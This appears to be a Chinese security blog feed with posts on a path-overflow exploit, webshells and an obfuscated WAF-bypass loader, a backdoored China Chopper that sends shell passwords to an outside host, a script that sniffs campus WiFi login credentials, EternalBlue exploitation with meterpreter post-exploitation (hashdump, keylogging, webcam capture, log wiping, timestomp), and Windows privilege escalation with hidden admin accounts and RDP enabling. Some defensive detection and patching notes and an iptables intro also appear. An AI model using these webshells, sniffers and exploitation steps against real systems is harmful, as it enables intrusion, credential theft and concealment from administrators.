esp			[esp]		* 注释 *
00ECF4AC	00ECF494	目的地址，指向的内存区域值为\x5c\x00，即【\】
00ECF4B0	00ECF4E2	源地址，指向第二个相对路径【\..\】的最后一个斜杠

正常情况下，这次规范化处理会和第一次执行同样的操作，去除第二个相对路径【..\】，从而完成第二次的路径规范化。但这里出现了一个意外的情况，temp的首地址是0x00ECF4DC，而此次字符串复制操作的目的地址dest却在0x00ECF494，在temp之前，如图

同时注意到，栈指针ESP值为0x00ECF4A8，该地址指向wcscpy函数的返回地址0x71C52FD4。ESP到复制目的dest地址0x00ECF494只有0x14字节，于是，函数wcscpy如果继续执行，将用源字符串src覆盖wcscpy函数的返回地址。

执行到retn命令，可以看到返回地址变成了0x0100129E，，该地址的指令为：

00100129E		FFD6		call esi

执行 call esi（ES=0x00F0F4DE）指令，正好将EIP指向复制尽量的字符串中构造好的第8字节空指令，接着是【\xeb\x62】（jmp 0x62），此jmp指令跳过中间的随机字符串，指向经过编码的Shellcode，如图

所以这里是由于内存0x00F0F494处的一个【\】(0x5C)，使得出现在处理父母了相对路径【..\】时往前溢出了待处理路径，从而将字符串覆盖到函数wcscpy返回地址的位置，跳转到shellcode造成远程代码执行。

正如前面所提到的，当【..\】在源字符串开头的时候，在开始查找时，比较的字符位于缓冲区之外导致了向前的溢出。

一些脚本后门的分析、编写及绕过技巧

Sat, 20 May 2017 00:00:00 +0000

0x00 PHP小马

表单中

action属性为要提交的地址；
PHP_SELF获取当前文件；
DOCUMENT_ROOT获取当前运行脚本所在的文档根目录；
textarea为多行文本输入框；

<?
$path=$_POST['path'];
$data=$_POST['data'];
$file=fopen($path,"w+");
fwrite($file,$data);
fclose($file);
?>

<form action="" method="post">
读取当前文件路径：
<? echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];?></br>
保存路径：<input name="path" type="text" /><br>
写入内容：<br><textarea name="data" cols="90" rows="50"></textarea></br>
<input name="" type="submit" value="提交"/>
</form>

有密码验证的PHP小马：

<html>
<head>
<title><?=$_SERVER['SERVER_NAME']?>的后门小马</title>
</head>
<?php
error_reporting(0);//不显示错误信息
$password="xiaoxian";
if ($_GET[pass]==$password){//判断输入的密码是否正确
    if ($_POST){
        $path=$_POST['path'];//从表单获取的上传的路径
        $data=$_POST['data'];//从表单获取的上传的内容
        $file=fopen($path,"w+");
        if(fwrite($file,$data))
            echo "Succeeded!";
        else
            echo "Failed!";
        fclose($file);
    }
    else{
        echo "xiaoma.php with password by xiaoxian";
    }
?><br><br>

服务器的IP地址和域名为:<?=$_SERVER['SERVER_NAME']?>(<?=@gethostbyname($_SERVER['SERVER_NAME'])?>)<br>
当前目录路径:
<?php echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];?></br>
<form action="" method="post">
保存路径:<input name="path" type="text" /><br>
保存内容:<br><textarea name="data" cols="90" rows="50"></textarea></br>
<input name="" type="submit" value="Submit"/>
</form>

<?php
 }else{ //输入密码错误时则一直在输入密码的界面
?>

<form action="" method="GET">
密码:<input type="password" name="pass" id="pass">
<input type="submit" name="login" value="Login in" /></form>
<?php } ?>

0x01 一句话木马实现原理和编写

客户端：

<form action=http://10.10.10.144/1.asp method=post>
<textarea name=xiaoxian cols=120 rows=10 width=45>
set IP=server.CreateObject("Adodb.Stream")//建立流对象
IP.Open
IP.Type=2//以文本方式 
IP.CharSet="gb2312"//字体标准
IP.writetext request("newvalue")
IP.SaveToFile server.mappath("new.asp"),2//将木马内容以覆盖文件的方式写入new.asp，2就是已覆盖的方式
IP.Close
set IP=nothing//释放对象
response.redirect "new.asp"//转向new.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>这里填生成木马的代码
</textarea><br><center><br>
<input type=submit value=提交>
</form>

服务端中有文件1.asp，内容为：

<%execute request("xiaoxian")%>

表单的作用就是把表单里的内容提交到服务器端的1.asp文件，而1.asp即为一句话木马，会执行提交的内容。简单地说，就是构造两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为new.asp的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了。第一个表单的名字和1.asp中的密码必须一样，而第二个表单的名字必须和IP.writetext request(“newvalue”) 里的newvalue一样。至此只要服务器有写的权限该表单所提交的大马内容就会被写入到new.asp中。即new.asp为我们的shell地址。

0x02 一句话木马如何绕过WAF实现上传

这时候进行编码即可下面的是一个简单的编码例子，复杂的到网上下载即可：

<?php
$mt="JF9QT1NU";
$ojj="QGV2YWwole";
$hsa="Wydlele4aW";
$fnx="FveGlhbiddKTs=";
$zk=str_replace("d","","sdtdrd_redpdldadcde");
$ef=$zk("z","","zbazsze64_zdzeczodze");
$dva=$zk("p","","pcprpepaptpe_fpupnpcptpipopn");
$zvm=$dva('',$ef($zk("le","",$ojj.$mt.$hsa.$fnx)));
$zvm();
?>

0x03 中国菜刀一些技巧和后门分析

开启安全狗之后即使上传了一句话木马但是也是无法直接用菜刀连接的，将菜刀发送的信息通过Firefox的Hackbar来POST过去即可绕过。

具体的效果要看不同种类、不同版本的WAF了，这里使用的是最新版的安全狗因为还是被过滤了。当然网上也有过狗版的菜刀，但是本人使用的版本效果并不好。

如何检测菜刀是否存在后门？

使用WSockExpert软件或其它抓包软来来选择需要监听的“中国菜刀”程序，开始监听后，用菜刀连接Webshell进行一些操作，然后查看抓到的包，找到Send即发送包，其中的内容含有密码xiaoxian和加密过的内容，接着对里面的内容解码就是（这个是据说是官网下载的菜刀，但是确实没看到有后门）：

@eval (base64_decode($_POST[z0]));
&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();
&z1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->C:\\wce\\

这是有后门的菜刀第一次解码的结果：

@eval(base64_decode('aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9'));@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z")
 as 
$L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print
 $R;;echo("|<-");die();

将中间base64加密字段进行第二次解密：

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&Pass='.key($_POST));}

可以看到这个菜刀明显存在后门。

另外，在X-Forwarded-For这里是值得怀疑的地方，因为这里的IP是别的地方的，网上还没找到关于这种情况是不是后门的相关内容。这个地方大家可以研究一下，个人觉得是比较隐蔽的后门吧，但是问题是我所用的几个版本的菜刀在X-Forwarded-For这里都是有这个别的地方的IP的。

0x04 Linux、Windows下查找菜刀一句话木马

Linux：

- 使用egrep命令进行正则匹配
- egrep -re ' <php\s@eval[(]$POST[.+][)];?’ *.php

Windows：

通过findstr命令加上正则表达式搜索文件
findstr /R “<php.@eval[(]$_POST.*[)];?” *.php

若是asp一句话木马，则需要修改正则表达式即可：

egrep -re ‘[[]%@\sPage\sLanguage=.Jscript.%[](mailto:]/%/@/sPage/sLanguage=.Jscript./%[)][<]%eval.Request.Item.+unsafe’ *.aspx
findstr /R “[[]%@.Page.Language=.Jscript.%[](mailto:]/%/@.Page.Language=.Jscript./%[)][<]%eval.Request.Item.*unsafe” *.aspx

0x05 其他脚本后门分析

一般的方法就是，通过Firefox的F12即开发者工具到Network网络查看，如果在URL下还有访问其它网页的信息，那么基本就是存在后门。

0x06 手动查找后门木马

1、系统的启动项，在运行输入msconfig，在打开的系统配置实用程序里的启动列表查看，并且服务也要注意一下，可以使用360安全卫士等软件的开机加速功能，来查看有无异常的可以启动项和服务项，因为在后门木马中99%都会注册自己为系统服务，达到开机自启动的目的，如果发现可疑项直接打开相应的路径，找到程序文件，直接删除并且禁止自启动；

2、查看系统关键目录system32和系统安装目录Windows下的文件。然后查看最新修改的文件中有没有可疑的可执行文件或dll文件，这两个地方都是木马最喜欢的藏身的地方了（记得先设置显示所有的文件和文件夹）；

3、观察网络连接是否存在异常，还有输入netstat -ano命令查看有没有可疑或非正常程序的网络连接，尤其注意一下远程连接的端口，如果有类似于8000等端口就要注意了，8000是灰鸽子的默认端口。

这里重点讲一下第三点：

1、查看进程：

netstat-an

netstat -ano 多显示一个PID，先查看established的进程中所连接的外部地址是否是一个可疑的、没见过的地址，如果本身主机没有进行什么网络访问的话就需要警惕了，先记住这个可疑进程的PID。

tasklist /svc，输入这个命令，通过对应的PID找到对应的进程名。

2、查看服务：

可以使用工具XueTr来进行更为简便的操作，使用其查看服务和进程等信息（注意的一点，微软服务的描述在最后都是由句号的，而第三方的服务是没有的）

先右键到dll文件的路径中将dll文件删除，然后到相应的服务中将其删除掉，最后将可疑进程终止掉。

H3C校园网WIFI密码嗅探

Tue, 09 May 2017 00:00:00 +0000

初步分析认证交互

该校校园网WIFI采用H3C认证，认证地址为内网某服务器上。url为 http://192.168.xxx.x:xxxx/portal/index_default.jsp

查看DOM

发现了几个重要的函数。base64()、checkUserName()、encrypt()

base64是将输入的文本进行一次base64编码，checkUerName就是检查用户名，encrypt是将密码再进行一次加密。

分析网络流

首先使用火狐的firebug+检查元素来分析网络流。

当我们访问登陆页面时，发送GET请求并带一个i_p_pl的cookie

尝试登陆，登陆成功跳转到 http://192.168.xxx.x:xxxx/portal/page/loginSucc.jsp**，发送了*个GET请求，除去图片和脚本，此次登陆只向/portal/loginSucc.jsp发送了GET包，除了i_p_pl，还带有hello1、hello2两个个cookie，其中hello1为登陆发送的username，hello2暂不明其含义。

在后来的测试中，发现hello2是【记住登陆】功能的参数，当hello2=false时不记住，hello2=true时记住并附带hello3、hello4、hello5参数，本来应当是可以利用这些cookie来绕过登陆直接请求认证的，不过考虑到其又要增加工作量，因此先放一边。

这就很奇怪了，在整个登陆过程全部都是GET请求而没有POST请求，没有POST请求是怎么把用户名密码传输上去认证的呢？况且之前已经在DOM中发现了base64encode()和query()函数。难道用户名和密码是在GET时Cookie中传上去的？。虽然不用想就知道GET发送cookie来登陆很扯，但还是要研究一下cookie的含义。

探究cookie含义

登陆时发送的i_p_pl

i_p_pl=JTdCJTIyZXJyb3JOdW1iZXIlMjIlM0ElMjIxJTIyJTJDJTIybmV4dFVybCUyMiUzQSUyMmh0dHAlM0ElMkYlMkYxOTIuMTY4LjE1MC4yJTNBODA4MCUyRnBvcnRhbCUyRmluZGV4X2RlZmF1bHQuanNwJTIyJTJDJTIycXVpY2tBdXRoJTIyJTNBZmFsc2UlMkMlMjJjbGllbnRMYW5ndWFnZSUyMiUzQSUyMkNoaW5lc2UlMjIlMkMlMjJhc3NpZ25JcFR5cGUlMjIlM0EwJTJDJTIyaU5vZGVQd2ROZWVkRW5jcnlwdCUyMiUzQTElMkMlMjJ3bGFubmFzaWQlMjIlM0ElMjIlMjIlMkMlMjJ3bGFuc3NpZCUyMiUzQSUyMiUyMiUyQyUyMm5hc0lwJTIyJTNBJTIyJTIyJTJDJTIyYnlvZFNlcnZlcklwJTIyJTNBJTIyMC4wLjAuMCUyMiUyQyUyMmJ5b2RTZXJ2ZXJJcHY2JTIyJTNBJTIyMDAwMCUzQTAwMDAlM0EwMDAwJTNBMDAwMCUzQTAwMDAlM0EwMDAwJTNBMDAwMCUzQTAwMDAlMjIlMkMlMjJieW9kU2VydmVySHR0cFBvcnQlMjIlM0ElMjI4MDgwJTIyJTJDJTIyaWZUcnlVc2VQb3B1cFdpbmRvdyUyMiUzQWZhbHNlJTJDJTIydWFtSW5pdEN1c3RvbSUyMiUzQSUyMjElMjIlMkMlMjJjdXN0b21DZmclMjIlM0ElMjJNUSUyMiUyQyUyMnJlZ0NvZGVUeXBlJTIyJTNBJTIyTUElMjIlN0Q

很明显这是一个base64编码过的字符串，把这个base64解码再url解码，就得到了

{“errorNumber”:”1”,”nextUrl”:” http://192.168.xxx.x:xxxx/portal/index_default.jsp**“,”quickAuth”:false,”clientLanguage”:”Chinese”,”assignIpType”:0,”iNodePwdNeedEncrypt”:1,”wlannasid”:””,”wlanssid”:””,”nasIp”:””,”byodServerIp”:”0.0.0.0”,”byodServerIpv6”:”0000:0000:0000:0000:0000:0000:0000:0000”,”byodServerHttpPort”:”8080”,”ifTryUsePopupWindow”:false,”uamInitCustom”:”1”,”customCfg”:”MQ”,”regCodeType”:”MA”}

这只是向无线路由器发送的表明自己身份的未完成的表单，没有我们要的用户名和密码。

完整认证过程

只有GET请求果然很扯，这很有可能是我们的浏览器网络流分析工具有些问题，或者该Web认证的安全性足够好，导致我们无法截取完整的请求流。

这样就只有用Wireshark来对网卡进行完全的监听，以抓取全部流量包。

设置Capture interface为 WLAN 无线网卡，开启抓取后重现登陆过程。

抓到的流量包除了访问该认证网站的http流，还包括了所有经过该无线网卡的所有协议的网络流。

设置过滤规则为http协议并且只有该认证网址ip。

发现登录一次h3c系统，要先后传参给3个页面，一个/pws？t=li，一个/afterlogin.jsp,一个/loginSucc.jsp，所以就分别看这几个网页的抓包数据。

发现其cookie都是一样的，但是只有pws这个页面是POST请求。

查看pws应用层传输的数据，发现上传了【userName】和【userPwd】参数，也就是说，只有这个页面是验证密码的。

【userName】就是登陆的用户名，【userPwd】是经过base64编码后的密码。

总结思路

我们可以抓取用户登陆时的POST请求来获取用户名和密码，也可以在用户勾选【记住密码】时获取带有用户名密码信息的cookie。

当抓到client ==> server的数据包时

如果是GET请求，检查有没有Cookie存在。
如果是POST请求，把用户名和密码拿出来。
检查是否有set-cookie头部，有的话取出来。

最后如果有cookie被嗅探到，就带着cookie把向server索要一下密码。

但是为了偷懒，这里就不嗅探cookie了，直接嗅探POST的用户名和密码就行了。最终思路如下：

当抓到client ==> server的数据包时，如果是POST请求，直接把用户名和密码拿出来。

嗅探

实验环境

Ubuntu虚拟机
大功率USB无线网卡（8187等）
python2.7

python扩展库需要

requests
scapy
scapy_http
lxml

** 代码

import requests
import scapy_http.http as http
from scapy.all import *
from lxml import etree
iface = 'wlan0'
url = "http://192.168.xxx.x:xxxx/portal/pws?t=li"
path = "/root"
def prn(pkt):
    data = None
    #std ==> ap    

    if pkt.haslayer(http.HTTPRequest):
        #if post the username and password

        if pkt.Method == 'POST' and 'userName' in pkt.load:            
            dt = {i.split("=")[0]:i.split("=")[1] for i in pkt.load.split("&")}        
            data = ":::".join((dt["userName"],dt["userPwd"][3:].decode("base64"))) + '\n'        
            print '[+]Get! Post data:%s %s %s %s'%(dt['userName'],dt['userPwd'])    
            if data != None:
                with open(path + "schoolUserPwd.txt", "a") as txt:    
                    txt.write(data)
def main():    
    try:        
        sniff(iface=iface, prn=prn, filter="ip host 192.168.xxx.x", store=0)    
        #sniff(offline=path + "school.pcap", prn=prn, filter="ip host 192.168.xxx.x")    

        except KeyboardInterrupt, e:        
            print "quitting..."
if __name__ == '__main__':    
    main()

说明

requests用来向服务器请求
scapy用来在无线网络中嗅探
scapy_http用来对http协议更方便的解析
lxml用来从服务器返回的html文件中，解析出来用户名和密码
prn是sniff函数每过滤到一个符合条件的数据包时回调的函数，并将数据包本身作为参数传入
之所以选择Ubuntu而不是Windows是因为scapy_http在win下运行有些问题

注意

由于我们既要嗅探，同时又要向服务器请求，所以airmon-ng check kill后，无线网卡开启monitor模式，再将网卡调到信号最强的ap的信道上。之前经过kismet抓取无线网包发现该校园网WIFI是在channel 1/6/11信道上工作的。

最后再打开网络管理的服务。

执行以下命令

$sudo airmon-ng check kill
$sudo ifconfig wlan0 down
$sudo iwconfig wlan0 mode monitor
$sudo ifconfig wlan0 up
$sudo iwconfig mon0 channel 1/6/11
$sudo service network-manager start

结果

由于之前买的无线网卡是劣质品无法识别，因此暂无结果。

理论上是可以嗅探到的，等成功嗅探后再补发。

参考

参考Freebuf的如何在开放无线网络中嗅探校园网密码**这篇文章提供的python脚本，针对该校的网络进行了一些修改。

NSA方程式工具利用与分析

Fri, 28 Apr 2017 00:00:00 +0000

Shadowbroker

下载地址

https://yadi.sk/d/NJqzpqo_3GxZA4

解压密码：Reeeeeeeeeeeeeee

github下载地址： https://github.com/misterch0c/shadowbroker

释放的工具总共包含三个文件夹，

Swift：包含了NSA对SWIFT银行系统发动攻击的相关证据，其中有EastNets的一些PPT文档、相关的证据、一些登录凭证和内部架构，EastNets是中东最大的SWIFT服务机构之一。
OddJob：包含一个基于Windows的植入软件，并包括所指定的配置文件和payload。适用于Windows Server 2003 Enterprise（甚至Windows XP Professional）
Windows：包含对Windows操作系统的许多黑客工具，但主要针对的是较旧版本的Windows（Windows XP中）和Server 2003。

主要工具

FUZZBUNCH：一款类似Metasploit的Exploit框架

模块	漏洞	影响系统	默认端口
Easypi	IBM Lotus Notes漏洞	Windows NT, 2000 ,XP, 2003	3264
Easybee	MDaemon WorldClient电子邮件服务器漏洞	WorldClient 9.5, 9.6, 10.0, 10.1	/
Eternalblue	SMBv2漏洞(MS17-010)	Windows XP(32),Windows Server 2008 R2(32/64),Windows 7(32/64)	139/445
Doublepulsar	SMB和NBT漏洞	Windows XP(32), Vista, 7, Windows Server 2003, 2008, 2008 R2	139/445
Eternalromance	SMBv1漏洞(MS17-010)和 NBT漏洞	Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2	139/445
Eternalchampion	SMB和NBT漏洞	Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2, 2012, Windows 8 SP0	139/445
Eternalsynergy	SMB和NBT漏洞	Windows 8, Windows Server 2012	139/445
Explodingcan	IIS6.0远程利用漏洞	Windows Server 2003	80
Emphasismine	IMAP漏洞	IBM Lotus Domino 6.5.4, 6.5.5, 7.0, 8.0, 8.5	143
Ewokfrenzy	IMAP漏洞	IBM Lotus Domino 6.5.4, 7.0.2	143
Englishmansdentist	SMTP漏洞	/	25
Erraticgopher	RPC漏洞	Windows XP SP3, Windows 2003	445
Eskimoroll	kerberos漏洞	Windows 2000, 2003, 2003 R2, 2008, 2008 R2	88
Eclipsedwing	MS08-067漏洞	Windows 2000, XP, 2003	139/445
Educatedscholar	MS09-050漏洞	Windows vista, 2008	445
Emeraldthread	SMB和NBT漏洞	Windows XP, 2003	139/445
Zippybeer	SMTP漏洞	/	445
Esteemaudit	RDP漏洞	Windows XP, Windows Server 2003	3389

ETERNALBLUE攻击原理分析

ETERNALBLUE是一个RCE漏洞利用，通过SMB（Server Message Block）和NBT（NetBIOS over TCP/IP）影响Windows XP,Windows 2008 R2和Windows 7系统。

漏洞发生处：C:\Windows\System32\drivers\srv.sys (注：srv.sys是Windows系统驱动文件，是微软默认的信任文件。
漏洞函数：unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
触发点：_memmove(v5, (const void )(a2 + 5 + (_BYTE )(a1 + 5)), (_WORD *)(a1 + 6));
原因：逻辑不正确导致的越界写入

官方补丁修复前：

int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1)
{
    //SNIP...
    while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 &gt; v4))
    {
        *(WORD*)v6 = v3 - (_DWORD)v6; //<----------修改处
        return v1;
    }
    //SNIP...
}
int __thiscall ExecuteTransaction(int this)
{
    //SNIP...
    if (*(_DWORD *)(v3 + 0x50) &gt;= 1) //<------修改处
    {
        _SrvSetSmbError2(0, 464, &quot;onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c&quot;);
        SrvLogInvalidSmbDirect(v1, v10);
        goto LABEL_109;
    }
    //SNIP...
}

修复后：

int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1)
{
    //SNIP...
    while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 &gt; v4))
    {
        *(DWORD*)v6 = v3 - (_DWORD)v6; //<--------修改处
        return v1;
    }
    //SNIP...
}
int __thiscall ExecuteTransaction(int this)
{
    //SNIP...
    if (*(_DWORD *)(v3 + 0x50) &gt;= 2u) //<------修改处
    {
        _SrvSetSmbError2(0, 464, &quot;onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c&quot;);
        SrvLogInvalidSmbDirect(v1, v10);
        goto LABEL_109;
    }
    //SNIP...
}

具体见参考资料5

漏洞复现

环境搭建

| 主机类型 | OS | IP | | :–: | :————: | :———-: | | 攻击机1 | win2003 | 10.10.10.130 | | 攻击机2 | kali linux 2.0 | 10.10.10.128 | | 靶机 | winXP x86 | 10.10.10.129 |
工具准备

解压NSA工具包中的windows文件夹到攻击机1的C:\目录下（只要不是中文目录皆可）;
在攻击机1安装:
python-2.6.6.msi**
pywin32-221.win32-py2.6.exe**

在攻击机2先生成用于回连的dll

msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f dll > x86bind.dll

3.扫描开启445端口的活跃主机并探测操作系统

nmap -Pn -p445 -O 10.10.10.0/24
nmap -Pn -p445 -O -iL ip.txt

4.攻击机1开始利用ETERNALBLUE攻击

python fb.py 
use Eternalblue ...

5.利用Doublepulsar注入dll

use Doublepulsar

6.kali攻击机利用msf回连控制主机5555端口

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set LPORT 5555
set RHOST XXX.XXX.XXX.XXX
exploit

后渗透攻击

开3389端口

wmic /namespace:\root\cimv2\terminalservices path 
win32_terminalservicesetting where (__CLASS != “”) call 
setallowtsconnections 1

wmic /namespace:\root\cimv2\terminalservices path 
win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call 
setuserauthenticationrequired 1

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

针对win XP及win2003只需要第3条命令针对win 7需要第1，2条命令针对win 2012需要3条命令

添加账户进管理组

net user [username] [password] /add
net localgroup Administrators [username] /add

端口转发如果3389端口只限内网访问，可以使用portfwd将端口转发到本地连接
```
portfwd add -l 4444 -p 3389 -r XXX.XXX.XXX.XXX
rdesktop -u root -p toor 127.0.0.1:4444
```
meterpreter自带的多功能shell
- hashdump:获取用户密码哈希值，可以用ophcrack等彩虹表工具进行破解明文
- screenshot:获取屏幕截图
- webcam_snap:调取对方摄像头拍照
- keyscan_start,keyscan_dump:记录键盘动作
- ps:查看当前运行进程
- sysinfo:查看系统信息
- getsystem:提权
维持控制
- migrate:将meterpreter会话移至另一个进程内存空间（migrate pid）配合ps使用
- irb:与ruby终端交互，调用meterpreter封装函数，可以添加Railgun组件直接交互本地的Windows API,阻止目标主机进入睡眠状态
```
irb client.core.use("railgun) client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS|ES_SYSTEM_REQUIRED")
```
- background:隐藏在后台方便msf终端进行其他操作，session查看对话id
- session -i X:使用已经成功获取的对话

植入后门

测试是否虚拟机：
```
run post/windows/gather/checkvm
```
以系统服务形式安装：在目标主机的31337端口开启监听，使用metsvc.exe安装metsvc-server.exe服务，运行时加载
```
metsrv.dll
run metsvc
```

getgui开启远程桌面：

run getgui -u sherlly -p sherlly
run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up_XXX.rc //清除痕迹，关闭服务，删除添加账号

清除入侵痕迹

clearev:清除日志
timestomp:修改文件的创建时间，最后写入和最后访问时间timestomp xiugai.doc -f old.doc

检测&防御

国外有人写了个检测Doublepulsar入侵的脚本，运行环境需要python2.6, 地址

countercept/doublepulsar-detection-script**

，使用方法
```
python detect_doublepulsar_smb.py --ip XXX.XXX.XXX.XXX
python detect_doublepulsar_rdp.py --file ips.list --verbose --threads 1
```
另外，nmap也基于该脚本出了对应扫描脚本

smb-double-pulsar-backdoor.nse**

，使用方法
```
nmap -p 445 <target> --script=smb-double-pulsar-backdoor
```
安装相应补丁 Protecting customers and evaluating risk**
如非必要，关闭25, 88, 139, 445, 3389端口
使用防火墙、或者安全组配置安全策略，屏蔽对包括445、3389在内的系统端口访问。(见参考资料7)

参考

Windows服务器提权和开启3389远程连接

Thu, 20 Apr 2017 00:00:00 +0000

系统为了都有有权限管理系统，根据权限高低来决定用户在这台机器上能做的事。

比如有的文件规定了低权限用户是无法读写的，而这些文件通常是我们想要获取的敏感文件。

有的文件夹是规定不能读写的，那么我们就不能上传任何到这个文件夹，也无法从这个文件夹里运行任何程序，所以我们连接上服务器都要找一个可读可写的文件夹来继续上传我们需要的程序，如开后门的程序。

一般的网站都存储在服务器权限比较低的文件夹里，所以即使我们上传了WebShell，最多也只能够对网站所在的文件夹操作，而不能完整的控制整个服务器。所以我们需要进行提权，以一个权限相当高的用户来访问该服务器。

Windows中以用户组来分配权限，每个用户组有不同的权限，其中最高权限用户组是Administrators组，拥有对整个系统进行操作system权限。每个用户组下可以创建多个用户。

在Win10以前的Windows系统版本中，可以通过右键此电脑=》管理=》系统工具=》本地用户和组来查看用户组及用户组中的用户。

0x01 大马和菜刀

我试过各种大马，功能其实都大同小异，不过不知道是不是我使用的原因，里面的cmd并不怎么好用。大马里我个人觉得最有用的就是查看文件权限属性的功能，这个使我们在找后门上传点的时候是非常好用的，并且这个功能在菜刀里是没有的。

这种php大马可以在Perms项下看到文件的读写权限属性。

而菜刀比较好的的就是比较适合人类查看的文件目录界面，和虚拟终端。所以通常将两者结合起来用。右键任意可执行文件打开虚拟终端。

0x02 巴西烤肉提权

创建系统用户的命令如下：

新建一个用户

net user [username] [password] /add

添加到Administrators用户组

net localgroup Administrators [username] /add

激活用户

net user [username] /active:yes

由于一般网站被放在服务器中权限比较低的文件夹中，因此直接创建Administrator用户的命令是不被执行的。

巴西烤肉是一个非常强劲的程序，它可以无视拒绝强制执行cmd命令，经常被用到提权中。

我们通过菜刀将cmd.exe和巴西烤肉上传到网站文件夹中。

然后右键cmd.exe打开虚拟终端，先将终端路径设置为我们自己上传的cmd.exe，再尝试直接创建用户，报错命令被拒绝执行。（其实这里是一个Ubuntu Linux服务器）

======================================================================

由于后来没找到Windows服务器的网站模板，因此下面就不带图了，过程全部手打还原，谅解

======================================================================

先将终端路径设置为我们自己上传的cmd.exe

SETP ../../www/uploads/cmd.exe

再用巴西烤肉强制执行命令。巴西烤肉语法：Churrasco.exe “your command”

Chu.exe "net user [username] [password] /add & net localgroup Administrators [username] /add"

若无报错，那么我们就已经成为系统管理员账户了。查看当前用户会发现我们创建的用户：

net user

至此，我们已经创建了超级权限的用户，已经可以对整个服务器进行操作了。但是在终端里操作总有些不方便，下面我们介绍一下拿下权限后如何远程连接进行桌面操作。

0x03 3389端口服务

远程桌面协议（RDP, Remote Desktop Protocol）是一个多通道（multi-channel）的协议，让用户（客户端或称“本地电脑”）连上提供微软终端机服务的电脑（服务器端或称“远程电脑”）。大部分的Windows都有客户端所需软件。服务端电脑方面，默认听取送到TCP3389端口的数据。【百度百科】

这是一种非常方便的对服务器的操作方式，一般的网站管理员都会开启3389端口远程桌面服务。而有的安全素养比较高的管理员则会选择将3389端口关闭，甚至开启防火墙禁止任何开启3389的操作。

闲扯一下，最近Shadow Broker泄露的NSA的工具，内网里开3389的服务器一打一个准，有空的可以去玩玩。misterch0c/shadowbroker

在无防火墙的情况下，我们可以用cmd命令来添加注册表开启3389端口，或者使用别人留下的工具。

cmd命令

将以下命令写入一个.bat文件，将其拖入服务器可读写目录执行，即可开启3389端口。

此种对Windows XP 和2003系统有用，不用重起

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

写好的程序
```
Chu.exe "kai3389.exe"
```
就行了

在有防火墙的情况下，需将防火墙先关闭，再用lcx.exe将3389映射到其他端口上，这个等我搞懂了再写。

0x04 RDP远程桌面连接

创建好用户，开启远程桌面功能，就可以用此用户远程登陆别人的服务器直接进行桌面操作，岂不是美滋滋。

Win+R 打开【运行】窗口，运行

mstsc /admin

用直接创建的用户名和密码登录，OK。

iptables防火墙的应用和SNAT/DNAT策略

Wed, 12 Apr 2017 00:00:00 +0000

0x00 iptables简介

netfilter/iptables（简称为iptables）组成Linux平台下的包过滤防火墙，与大多数的Linux软件一样，这个包过滤防火墙是免费的，它可以代替昂贵的商业防火墙解决方案。

Linux防火墙体系主要工作在网络层，针对TCP/IP数据包实施过滤和限制，完成封包过滤、封包重定向和网络地址转换（NAT）等功能，属于典型的包过滤防火墙（也称网络层防火墙）。其基于内核编码实现，具有非常稳定的性能和高效率，因此被广泛的应用。

1. Netfilter和iptables的区别：

Netfilter:指的是Linux内核中实现包过滤防火墙的内部结构，不以程序或文件的形式存在，属于“内核态”（KernelSpace，又称内核空间）的防火墙功能体系；
Iptables：指的是用来管理Linux防火墙的命令程序，通常位于/sbin/iptables，属于“用户态”（UserSpace，又称用户空间）的防火墙管理体系；

